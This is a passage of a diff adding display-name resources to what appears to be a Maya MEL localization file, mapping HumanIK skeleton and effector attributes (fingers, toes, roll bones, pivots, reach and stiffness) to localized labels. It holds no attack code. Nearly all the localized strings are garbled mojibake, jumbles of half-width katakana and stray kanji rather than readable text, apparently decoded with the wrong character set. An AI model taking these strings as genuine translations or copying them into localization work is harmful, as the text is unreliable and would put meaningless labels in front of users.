+setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandPinky2GX", "ラハヨミ。ヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandPinky3GX", "ラハヨミ。ヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandPinky4GX", "ラハヨミ。ヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandExtraFinger1GX", "ラハヨチヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandExtraFinger2GX", "ラハヨチヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandExtraFinger3GX", "ラハヨチヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandExtraFinger4GX", "ラハヨチヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandThumb1GX", "モメハヨトエヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandThumb2GX", "モメハヨトエヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandThumb3GX", "モメハヨトエヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandThumb4GX", "モメハヨトエヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandIndex1GX", "モメハヨハウヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandIndex2GX", "モメハヨハウヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandIndex3GX", "モメハヨハウヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandIndex4GX", "モメハヨハウヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandMiddle1GX", "モメハヨヨミヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandMiddle2GX", "モメハヨヨミヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandMiddle3GX", "モメハヨヨミヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandMiddle4GX", "モメハヨヨミヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandRing1GX", "モメハヨボテヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandRing2GX", "モメハヨボテヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandRing3GX", "モメハヨボテヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandRing4GX", "モメハヨボテヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandPinky1GX", "モメハヨミ。ヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandPinky2GX", "モメハヨミ。ヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandPinky3GX", "モメハヨミ。ヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandPinky4GX", "モメハヨミ。ヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandExtraFinger1GX", "モメハヨチヨク 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandExtraFinger2GX", "モメハヨチヨク 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandExtraFinger3GX", "モメハヨチヨク 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandExtraFinger4GX", "モメハヨチヨク 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootThumb1GX", "ラスナエヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootThumb2GX", "ラスナエヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootThumb3GX", "ラスナエヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootThumb4GX", "ラスナエヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootIndex1GX", "ラスナカヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootIndex2GX", "ラスナカヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootIndex3GX", "ラスナカヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootIndex4GX", "ラスナカヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootMiddle1GX", "ラスナヨミヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootMiddle2GX", "ラスナヨミヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootMiddle3GX", "ラスナヨミヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootMiddle4GX", "ラスナヨミヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootRing1GX", "ラスナヒトヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootRing2GX", "ラスナヒトヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootRing3GX", "ラスナヒトヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootRing4GX", "ラスナヒトヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootPinky1GX", "ラスナミ。ヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootPinky2GX", "ラスナミ。ヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootPinky3GX", "ラスナミ。ヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootPinky4GX", "ラスナミ。ヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootExtraFinger1GX", "ラスナチヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootExtraFinger2GX", "ラスナチヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootExtraFinger3GX", "ラスナチヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootExtraFinger4GX", "ラスナチヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootThumb1GX", "モメスナエヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootThumb2GX", "モメスナエヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootThumb3GX", "モメスナエヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootThumb4GX", "モメスナエヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootIndex1GX", "モメスナカヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootIndex2GX", "モメスナカヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootIndex3GX", "モメスナカヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootIndex4GX", "モメスナカヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootMiddle1GX", "モメスナヨミヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootMiddle2GX", "モメスナヨミヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootMiddle3GX", "モメスナヨミヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootMiddle4GX", "モメスナヨミヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootRing1GX", "モメスナヒトヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootRing2GX", "モメスナヒトヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootRing3GX", "モメスナヒトヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootRing4GX", "モメスナヒトヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootPinky1GX", "モメスナミ。ヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootPinky2GX", "モメスナミ。ヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootPinky3GX", "モメスナミ。ヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootPinky4GX", "モメスナミ。ヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootExtraFinger1GX", "モメスナチヨコ 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootExtraFinger2GX", "モメスナチヨコ 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootExtraFinger3GX", "モメスナチヨコ 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootExtraFinger4GX", "モメスナチヨコ 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandThumbGX", "ラハヨトエヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandIndexGX", "ラハヨハウヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandMiddleGX", "ラハヨヨミヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandRingGX", "ラハヨボテヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandPinkyGX", "ラハヨミ。ヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandExtraFingerGX", "ラハヨチヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandThumbGX", "モメハヨトエヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandIndexGX", "モメハヨハウヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandMiddleGX", "モメハヨヨミヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandRingGX", "モメハヨボテヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandPinkyGX", "モメハヨミ。ヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandExtraFingerGX", "モメハヨチヨクトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootThumbGX", "ラスナエヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootIndexGX", "ラスナカヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootMiddleGX", "ラスナヨミヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootRingGX", "ラスナヒトヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootPinkyGX", "ラスナミ。ヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootExtraFingerGX", "ラスナチヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootThumbGX", "モメスナエヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootIndexGX", "モメスナカヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootMiddleGX", "モメスナヨミヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootRingGX", "モメスナヒトヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootPinkyGX", "モメスナミ。ヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootExtraFingerGX", "モメスナチヨコトレイ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftShoulderExtraGX", "クスシモラシ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightShoulderExtraGX", "クスシモモメシ GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftUpLegRoll1GX", "メカラエヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftLegRoll1GX", "メカラヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightUpLegRoll1GX", "メカモメエヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightLegRoll1GX", "メカモメヘネイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftArmRoll1GX", "メカラアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftForeArmRoll1GX", "メカラヌーアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightArmRoll1GX", "メカモメアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightForeArmRoll1GX", "メカモメヌーアロイ犹 1 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftUpLegRoll2GX", "メカラエヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftLegRoll2GX", "メカラヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightUpLegRoll2GX", "メカモメエヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightLegRoll2GX", "メカモメヘネイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftArmRoll2GX", "メカラアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftForeArmRoll2GX", "メカラヌーアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightArmRoll2GX", "メカモメアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightForeArmRoll2GX", "メカモメヌーアロイ犹 2 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftUpLegRoll3GX", "メカラエヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftLegRoll3GX", "メカラヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightUpLegRoll3GX", "メカモメエヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightLegRoll3GX", "メカモメヘネイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftArmRoll3GX", "メカラアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftForeArmRoll3GX", "メカラヌーアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightArmRoll3GX", "メカモメアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightForeArmRoll3GX", "メカモメヌーアロイ犹 3 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftUpLegRoll4GX", "メカラエヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftLegRoll4GX", "メカラヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightUpLegRoll4GX", "メカモメエヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightLegRoll4GX", "メカモメヘネイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftArmRoll4GX", "メカラアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftForeArmRoll4GX", "メカラヌーアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightArmRoll4GX", "メカモメアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightForeArmRoll4GX", "メカモメヌーアロイ犹 4 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftUpLegRoll5GX", "メカラエヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftLegRoll5GX", "メカラヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightUpLegRoll5GX", "メカモメエヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightLegRoll5GX", "メカモメヘネイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftArmRoll5GX", "メカラアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftForeArmRoll5GX", "メカラヌーアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightArmRoll5GX", "メカモメアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightForeArmRoll5GX", "メカモメヌーアロイ犹 5 GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: HIKEffector2State +// +setNodeNiceNameResource( "HIKEffector2State", "HIKEffector 2State" ); +setAttrNiceNameResource( "HIKEffector2State", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKEffector2State", "EFF", "ハ莎ミァモヲニラエフャ" ); +setAttrNiceNameResource( "HIKEffector2State", "EFFNA", "ハ莎ミァモヲニラエフャテサモミクィヨ" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorGX", "ナイソミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorPivot", "ナイソミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorPivotX", "ナイソミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorPivotY", "ナイソミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorPivotZ", "ナイソミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorReachT", "ナイソミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorReachR", "ナイソミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorPull", "ナイソミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorStiffness", "ナイソミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorGX", "ララミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorPivot", "ララミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorPivotX", "ララミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorPivotY", "ララミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorPivotZ", "ララミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorReachT", "ララミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorReachR", "ララミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorPull", "ララミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorStiffness", "ララミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorGX", "モメラミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorPivot", "モメラミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorPivotX", "モメラミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorPivotY", "モメラミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorPivotZ", "モメラミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorReachT", "モメラミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorReachR", "モメラミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorPull", "モメラミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorStiffness", "モメラミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorGX", "ラヘミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorPivot", "ラヘミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorPivotX", "ラヘミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorPivotY", "ラヘミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorPivotZ", "ラヘミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorReachT", "ラヘミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorReachR", "ラヘミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorPull", "ラヘミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorStiffness", "ラヘミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorGX", "モメヘミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorPivot", "モメヘミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorPivotX", "モメヘミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorPivotY", "モメヘミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorPivotZ", "モメヘミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorReachT", "モメヘミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorReachR", "モメヘミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorPull", "モメヘミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorStiffness", "モメヘミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorGX", "ラマ・ミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorPivot", "ラマ・ミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorPivotX", "ラマ・ミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorPivotY", "ラマ・ミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorPivotZ", "ラマ・ミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorReachT", "ラマ・ミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorReachR", "ラマ・ミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorPull", "ラマ・ミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorStiffness", "ラマ・ミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorGX", "モメマ・ミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorPivot", "モメマ・ミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorPivotX", "モメマ・ミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorPivotY", "モメマ・ミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorPivotZ", "モメマ・ミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorReachT", "モメマ・ミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorReachR", "モメマ・ミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorPull", "モメマ・ミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorStiffness", "モメマ・ミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorGX", "ラヨ簟ァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorPivot", "ラヨ簟ァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorPivotX", "ラヨ簟ァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorPivotY", "ラヨ簟ァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorPivotZ", "ラヨ簟ァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorReachT", "ラヨ簟ァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorReachR", "ラヨ簟ァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorPull", "ラヨ簟ァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorStiffness", "ラヨ簟ァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorGX", "モメヨ簟ァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorPivot", "モメヨ簟ァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorPivotX", "モメヨ簟ァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorPivotY", "モメヨ簟ァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorPivotZ", "モメヨ簟ァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorReachT", "モメヨ簟ァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorReachR", "モメヨ簟ァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorPull", "モメヨ簟ァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorStiffness", "モメヨ簟ァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorGX", "ミリイソヤュオ耙ァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorPivot", "ミリイソヤュオ耙ァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorPivotX", "ミリイソヤュオ耙ァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorPivotY", "ミリイソヤュオ耙ァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorPivotZ", "ミリイソヤュオ耙ァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorReachT", "ミリイソヤュオ耙ァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorReachR", "ミリイソヤュオ耙ァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorPull", "ミリイソヤュオ耙ァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorStiffness", "ミリイソヤュオ耙ァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorGX", "ミリイソトゥカヒミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorPivot", "ミリイソトゥカヒミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorPivotX", "ミリイソトゥカヒミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorPivotY", "ミリイソトゥカヒミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorPivotZ", "ミリイソトゥカヒミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorReachT", "ミリイソトゥカヒミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorReachR", "ミリイソトゥカヒミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorPull", "ミリイソトゥカヒミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorStiffness", "ミリイソトゥカヒミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorGX", "ラスナミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorPivot", "ラスナミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorPivotX", "ラスナミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorPivotY", "ラスナミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", 